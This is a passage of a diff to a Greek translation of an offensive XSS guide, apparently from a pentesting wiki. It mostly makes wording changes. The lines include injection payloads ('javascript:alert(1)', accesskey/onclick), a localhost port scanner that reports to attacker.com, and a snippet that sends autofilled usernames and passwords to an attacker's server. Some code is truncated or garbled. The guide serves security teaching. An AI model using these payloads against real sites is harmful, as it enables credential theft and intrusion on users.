ανάλογα με **ποιο χαρακτηριστικό** η τιμή σας αντανάκλαται **αν ελέγχετε όλη την τιμή ή μόνο ένα μέρος** θα μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα γεγονός όπως `onclick=` θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν κάνετε κλικ. Ένα άλλο ενδιαφέρον **παράδειγμα** είναι το χαρακτηριστικό `href`, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο `javascript:` για να εκτελέσετε αυθαίρετο κώδικα: **`href="javascript:alert(1)"`** -4. Αν η είσοδός σας αντανάκλαται μέσα σε "**μη εκμεταλλεύσιμες ετικέτες**" θα μπορούσατε να προσπαθήσετε το κόλπο **`accesskey`** για να εκμεταλλευτείτε την ευπάθεια (θα χρειαστείτε κάποιο είδος κοινωνικής μηχανικής για να το εκμεταλλευτείτε): **`" accesskey="x" onclick="alert(1)" x="`** +3. Αν **δεν μπορείτε να διαφύγετε από το χαρακτηριστικό** (`"` κωδικοποιείται ή διαγράφεται), τότε ανάλογα με **ποιο χαρακτηριστικό** η τιμή σας αντανάκλαται **αν ελέγχετε όλη την τιμή ή μόνο ένα μέρος** θα μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα γεγονός όπως `onclick=` θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν κάνετε κλικ. Ένα άλλο ενδιαφέρον **παράδειγμα** είναι το χαρακτηριστικό `href`, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο `javascript:` για να εκτελέσετε αυθαίρετο κώδικα: **`href="javascript:alert(1)"`** +4. Αν η είσοδός σας αντανάκλαται μέσα σε "**μη εκμεταλλεύσιμες ετικέτες**" θα μπορούσατε να δοκιμάσετε το κόλπο **`accesskey`** για να εκμεταλλευτείτε την ευπάθεια (θα χρειαστείτε κάποιο είδος κοινωνικής μηχανικής για να το εκμεταλλευτείτε): **`" accesskey="x" onclick="alert(1)" x="`** Παράξενο παράδειγμα του Angular που εκτελεί XSS αν ελέγχετε ένα όνομα κλάσης: ```html @@ -96,13 +96,13 @@ js-hoisting.md Πολλές ιστοσελίδες έχουν endpoints που **δέχονται ως παράμετρο το όνομα της συνάρτησης που θα εκτελεστεί**. Ένα κοινό παράδειγμα που μπορεί να δείτε είναι κάτι σαν: `?callback=callbackFunc`. -Ένας καλός τρόπος για να διαπιστώσετε αν κάτι που δίνεται απευθείας από τον χρήστη προσπαθεί να εκτελεστεί είναι **να τροποποιήσετε την τιμή της παραμέτρου** (για παράδειγμα σε 'Vulnerable') και να κοιτάξετε στην κονσόλα για σφάλματα όπως: +Ένας καλός τρόπος για να διαπιστώσετε αν κάτι που δίνεται απευθείας από τον χρήστη προσπαθεί να εκτελεστεί είναι **τροποποιώντας την τιμή της παραμέτρου** (για παράδειγμα σε 'Vulnerable') και κοιτάζοντας στην κονσόλα για σφάλματα όπως: ![](<../../images/image (711).png>) -Σε περίπτωση που είναι ευάλωτο, θα μπορούσατε να **προκαλέσετε μια ειδοποίηση** απλά στέλνοντας την τιμή: **`?callback=alert(1)`**. Ωστόσο, είναι πολύ κοινό ότι αυτά τα endpoints θα **επικυρώνουν το περιεχόμενο** για να επιτρέπουν μόνο γράμματα, αριθμούς, τελείες και κάτω παύλες (**`[\w\._]`**). +Σε περίπτωση που είναι ευάλωτο, θα μπορούσατε να **προκαλέσετε μια ειδοποίηση** απλά στέλνοντας την τιμή: **`?callback=alert(1)`**. Ωστόσο, είναι πολύ κοινό αυτά τα endpoints να **επικυρώνουν το περιεχόμενο** για να επιτρέπουν μόνο γράμματα, αριθμούς, τελείες και κάτω παύλες (**`[\w\._]`**). -Ωστόσο, ακόμη και με αυτόν τον περιορισμό, είναι ακόμα δυνατό να εκτελέσετε κάποιες ενέργειες. Αυτό συμβαίνει επειδή μπορείτε να χρησιμοποιήσετε αυτούς τους έγκυρους χαρακτήρες για να **πρόσβαση σε οποιοδήποτε στοιχείο στο DOM**: +Ωστόσο, ακόμη και με αυτόν τον περιορισμό, είναι ακόμα δυνατό να εκτελέσετε ορισμένες ενέργειες. Αυτό συμβαίνει επειδή μπορείτε να χρησιμοποιήσετε αυτούς τους έγκυρους χαρακτήρες για να **πρόσβαση σε οποιοδήποτε στοιχείο στο DOM**: ![](<../../images/image (747).png>) @@ -151,11 +151,11 @@ server-side-xss-dynamic-pdf.md ## Εισαγωγή μέσα σε ακατέργαστο HTML -Όταν η είσοδός σας αντικατοπτρίζεται **μέσα στη σελίδα HTML** ή μπορείτε να ξεφύγετε και να εισαγάγετε κώδικα HTML σε αυτό το πλαίσιο, το **πρώτο** πράγμα που πρέπει να κάνετε είναι να ελέγξετε αν μπορείτε να καταχραστείτε το `<` για να δημιουργήσετε νέες ετικέτες: Απλώς προσπαθήστε να **αντικατοπτρίσετε** αυτό το **χαρακτήρα** και ελέγξτε αν είναι **HTML encoded** ή **διαγραφεί** ή αν είναι **αντικατοπτρισμένο χωρίς αλλαγές**. **Μόνο στην τελευταία περίπτωση θα μπορέσετε να εκμεταλλευτείτε αυτήν την περίπτωση**.\ +Όταν η είσοδός σας ανακλάται **μέσα στη σελίδα HTML** ή μπορείτε να ξεφύγετε και να εισαγάγετε κώδικα HTML σε αυτό το πλαίσιο, το **πρώτο** πράγμα που πρέπει να κάνετε είναι να ελέγξετε αν μπορείτε να καταχραστείτε το `<` για να δημιουργήσετε νέες ετικέτες: Απλώς προσπαθήστε να **αντανακλάσετε** αυτό το **χαρακτήρα** και ελέγξτε αν είναι **HTML κωδικοποιημένος** ή **διαγραμμένος** ή αν είναι **αντανακλασμένος χωρίς αλλαγές**. **Μόνο στην τελευταία περίπτωση θα μπορέσετε να εκμεταλλευτείτε αυτήν την περίπτωση**.\ Για αυτές τις περιπτώσεις, επίσης **κρατήστε στο μυαλό σας** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ _**Σημείωση: Ένα σχόλιο HTML μπορεί να κλείσει χρησιμοποιώντας\*\***\***\*`-->`\*\***\***\*ή \*\***`--!>`\*\*_ -Σε αυτή την περίπτωση και αν δεν χρησιμοποιούνται μαύρες/λευκές λίστες, θα μπορούσατε να χρησιμοποιήσετε payloads όπως: +Σε αυτή την περίπτωση και αν δεν χρησιμοποιούνται μαύρη/λευκή λίστα, θα μπορούσατε να χρησιμοποιήσετε payloads όπως: ```html ` ή μεταξύ HTML γεγονότων που μπορούν να εκτελέσουν κωδικό JS ή μεταξύ attributes που δέχονται το πρωτόκολλο `javascript:`. +Σε αυτές τις περιπτώσεις η **είσοδός** σου θα **αντανακλάται μέσα στον κωδικό JS** ενός αρχείου `.js` ή μεταξύ των ετικετών `` ή μεταξύ HTML γεγονότων που μπορούν να εκτελέσουν κωδικό JS ή μεταξύ attributes που δέχονται το πρωτόκολλο `javascript:`. ### Διαφυγή ετικέτας \ ``` > [!TIP] -> Δεν **θα μπορείτε να αποκτήσετε πρόσβαση στα cookies από το JavaScript** αν η σημαία HTTPOnly είναι ρυθμισμένη στο cookie. Αλλά εδώ έχετε [μερικούς τρόπους να παρακάμψετε αυτή την προστασία](../hacking-with-cookies/index.html#httponly) αν είστε αρκετά τυχεροί. +> Δεν **θα μπορείτε να αποκτήσετε πρόσβαση στα cookies από το JavaScript** αν η σημαία HTTPOnly είναι ρυθμισμένη στο cookie. Αλλά εδώ έχετε [μερικούς τρόπους για να παρακάμψετε αυτή την προστασία](../hacking-with-cookies/index.html#httponly) αν είστε αρκετά τυχεροί. ### Κλοπή Περιεχομένου Σελίδας ```javascript @@ -1347,7 +1347,7 @@ q.shift()() ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` -### Σαρωτής Θερμικών Θυρών (websockets) +### Σαρωτής Θερμοφυσικών Θυρών (websockets) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` @@ -1381,7 +1381,7 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -Όταν εισάγονται δεδομένα στο πεδίο κωδικού πρόσβασης, το όνομα χρήστη και ο κωδικός πρόσβασης αποστέλλονται στον διακομιστή των επιτιθεμένων, ακόμη και αν ο πελάτης επιλέξει έναν αποθηκευμένο κωδικό και δεν γράψει τίποτα, τα διαπιστευτήρια θα διαρρεύσουν. +Όταν εισάγεται οποιοδήποτε δεδομένο στο πεδίο κωδικού πρόσβασης, το όνομα χρήστη και ο κωδικός πρόσβασης αποστέλλονται στον διακομιστή των επιτιθεμένων, ακόμη και αν ο πελάτης επιλέξει έναν αποθηκευμένο κωδικό και δεν γράψει τίποτα, τα διαπιστευτήρια θα εξαχθούν. ### Keylogger @@ -1392,7 +1392,7 @@ body:username.value+':'+this.value - [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger) - Μπορείτε επίσης να χρησιμοποιήσετε το metasploit `http_javascript_keylogger` -### Κλοπή CSRF tokens +### Stealing CSRF tokens ```javascript